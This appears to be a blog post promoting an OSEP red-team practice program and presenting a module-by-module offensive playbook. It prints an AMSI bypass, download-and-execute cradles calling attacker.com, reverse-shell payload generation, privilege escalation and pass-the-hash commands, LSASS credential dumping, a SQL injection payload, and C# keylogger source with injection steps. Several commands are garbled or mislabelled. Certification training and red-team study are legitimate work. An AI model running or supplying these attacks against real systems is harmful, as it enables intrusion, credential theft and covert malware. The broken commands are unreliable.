Listen to this Post
Introduction:
The Offensive Security Experienced Penetration Tester (OSEP) certification validates advanced red team operations, including evasion, lateral movement, and Active Directory exploitation. Ignite Technologies’ CTF-based OSEP practice program bridges the gap between theory and real-world attack simulations, offering hands-on modules that mirror modern enterprise defenses.
Learning Objectives:
- Execute advanced information gathering and client-side attacks to breach initial access controls.
- Bypass endpoint security, escalate privileges on Windows/Linux, and navigate Active Directory forests.
- Develop custom malware, tunnel through segmented networks, and document red team operations for compliance.
You Should Know:
1. Advanced Information Gathering & Initial Access
Start by mapping the target surface using OSINT and active reconnaissance. Use the following Linux commands to enumerate subdomains, open ports, and service versions before launching client-side attacks.
Subdomain enumeration amass enum -d target.com -o subdomains.txt Port scanning with service detection nmap -sC -sV -p- -T4 -oA full_scan target.com Gather metadata from public documents exiftool -r -csv ./documents/ > metadata.csv
Step‑by‑step guide:
- Run `amass` to discover subdomains, then verify live hosts with
httprobe. - Perform a full TCP port scan using
nmap, focusing on common web and admin ports. - For client-side attacks, craft a malicious Office macro using `msfvenom` and embed it in a phishing document.
- Deliver via social engineering or an initial foothold through a vulnerable web form.
2. Bypassing Security Controls & Defense Evasion
Modern EDR/AV solutions require evasion techniques. Use PowerShell and C to bypass AMSI and unhook monitored APIs.
Windows PowerShell AMSI bypass (in-memory):
AMSI patch via reflection
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Obfuscated download cradle
$wc=New-Object System.Net.WebClient;$wc.Headers.Add('User-Agent','Mozilla/5.0');iex $wc.DownloadString('http://attacker.com/payload.ps1')
Linux syscall obfuscation:
Use memfd_create to run an ELF from memory curl -s http://attacker.com/shell.elf | sudo tee /dev/shm/.cache && sudo chmod +x /dev/shm/.cache && /dev/shm/.cache
Step‑by‑step guide:
- Encode payloads with `msfvenom -p windows/x64/meterpreter/reverse_https –encrypt xor –encrypt-key 0x42 -f exe -o payload.exe`
2. Deploy using process injection (e.g.,CreateRemoteThread) from a staging binary. - On Linux, leverage `ptrace` injection or load kernel modules to hide processes.
3. Windows & Linux Privilege Escalation
Escalate from low-privilege user to SYSTEM/root using misconfigurations.
Windows – Unquoted service path:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\" sc qc "VulnerableService" Then place malicious.exe in the writable path, e.g., C:\Program.exe
Linux – SUID binary exploitation:
Find SUID binaries
find / -perm -4000 2>/dev/null
Exploit 'find' with exec
find /etc/passwd -exec whoami \;
Exploit 'pkexec' (CVE-2021-4034)
python3 -c 'import pty;pty.spawn("/bin/bash")' then run original PoC
Step‑by‑step guide:
1. Enumerate Windows with `winPEAS.exe` or `Seatbelt.exe`.
- Check for AlwaysInstallElevated registry keys:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated. - On Linux, run
linpeas.sh; look for writable cron jobs or sudo abuse (sudo -l).
4. Exploit `CVE-2021-3156` (sudo buffer overflow) if vulnerable.
4. Active Directory Enumeration & Lateral Movement
Map AD trust relationships and move laterally using pass‑the‑hash or DCOM.
BloodHound enumeration (Linux):
Using SharpHound via PowerShell remoting bloodhound-python -d domain.local -u lowuser -p Pass123 -ns 10.10.10.10 -c All
Lateral movement with Impacket (Linux to Windows):
Pass-the-hash to execute command impacket-wmiexec -hashes :c5a237b7b9f8c2d4e1e6b4f7a8b2c3d [email protected] Over-Pass-the-Ticket using Rubeus (Windows) Rubeus.exe asktgt /user:admin /rc4:ntlmhash /ptt
Step‑by‑step guide:
- Enumerate AD with
PowerView:Get-NetUser | select samaccountname,description.
2. Perform Kerberoasting: `Get-NetUser -SPN | Request-SPNTicket`.
- Use `PsExec` or `WinRM` for lateral movement after obtaining credentials.
4. Dump LSASS with `mimikatz` (requires admin): `sekurlsa::logonpasswords`.
5. Tunneling, Pivoting & Web Application Attacks
Pivot through compromised hosts using SOCKS proxies and exploit web app flaws to gain initial access.
SSH dynamic tunneling (Linux):
ssh -D 1080 -N user@pivot_host Then configure proxychains echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf proxychains nmap -sT internal_target -p 80
Windows pivot with Chisel:
On attacker: chisel server -p 8000 --reverse On compromised Windows: chisel.exe client attacker:8000 R:socks
Web app attack – SQL injection (MySQL):
' UNION SELECT 1,2,3,4,5,load_file('/etc/passwd'),7,8-- -
Step‑by‑step guide:
- Compromise a web server via SQLi or XSS; upload a webshell.
- From the webshell, download `chisel.exe` and establish a reverse SOCKS tunnel.
- Route all further attacks through the tunnel to access internal AD resources.
- Test for local file inclusion (LFI) to read sensitive configuration files.
6. Custom Malware & Tool Development
Write simple custom implants to evade signature‑based detection. Example: a C keylogger that uses native Windows API.
using System.Runtime.InteropServices;
public class KeyLogger {
[DllImport("user32.dll")]
private static extern int GetAsyncKeyState(int vKey);
public static void LogKeys() {
while (true) {
for (int i = 1; i <= 254; i++) {
if (GetAsyncKeyState(i) == -32767)
File.AppendAllText("log.txt", ((Keys)i).ToString());
}
}
}
}
Step‑by‑step guide:
- Compile the C code with
csc.exe /target:exe /out:logger.exe KeyLogger.cs. - Obfuscate using open‑source tools like `ConfuserEx` or
Obfuscar. - Embed a reverse shell payload using `msfvenom` and XOR encode it.
- Combine into a dropper that decrypts and injects into `notepad.exe` using `VirtualAllocEx` and
CreateRemoteThread.
7. Reporting & Documentation for OSEP
OSEP requires detailed reports with evidence and mitigation steps. Use a structured format.
Command to capture proof:
On Linux, record session with script script -f /root/evidence/walkthrough.txt On Windows, use Start-Transcript Start-Transcript -Path "C:\evidence\pwn.log"
Step‑by‑step guide:
- For each compromised host, take screenshots of `whoami` and
ipconfig/ifconfig. - Log every command executed and its output using `script` or
Start-Transcript. - Include network diagrams (e.g., using `netdiscover` and `BloodHound` output).
- Write executive summary, attack chain timeline, and remediation recommendations.
- Validate findings with a second operator (peer review).
What Undercode Say:
- Key Takeaway 1: OSEP demands proficiency in evasion, AD abuse, and custom tooling – a CTF‑based practice program with modules like those from Ignite Technologies is essential for real‑world red team readiness.
- Key Takeaway 2: Combining hands‑on Linux/Windows commands (AMSI bypass, tunneling, privilege escalation) with structured reporting closes the gap between certification and operational capability.
Analysis: The OSEP certification pushes beyond OSCP into anti‑virus evasion and full kill chains. The training modules listed (custom malware, defense evasion, tunneling) align exactly with what enterprise defenders deploy. However, successful candidates must also understand how blue teams detect these techniques – for example, using Sysmon event ID 7 for module loads or EDR hooks on CreateRemoteThread. Practitioners should pair offensive labs with detection engineering. The Google Forms registration suggests a limited cohort, which is good for personalized coaching but may restrict peer discussion. Overall, this CTF approach accelerates muscle memory for advanced red teaming.
Prediction:
As Microsoft strengthens Defender for Endpoint and organizations adopt EDRs with kernel callbacks, traditional off‑the‑shelf tools will fail. Future OSEP training will shift toward bypassing user‑space hooks via direct syscalls (e.g., Hell’s Gate), leveraging hardware breakpoints for stealth, and abusing cloud identity providers (Azure AD). The demand for red teamers who can write custom C2 frameworks and blend into legitimate traffic will surge, making CTF programs like this a baseline, not an option. Expect more integration with purple team exercises where candidates must also write Sigma rules for their own TTPs.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecurity Infosec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
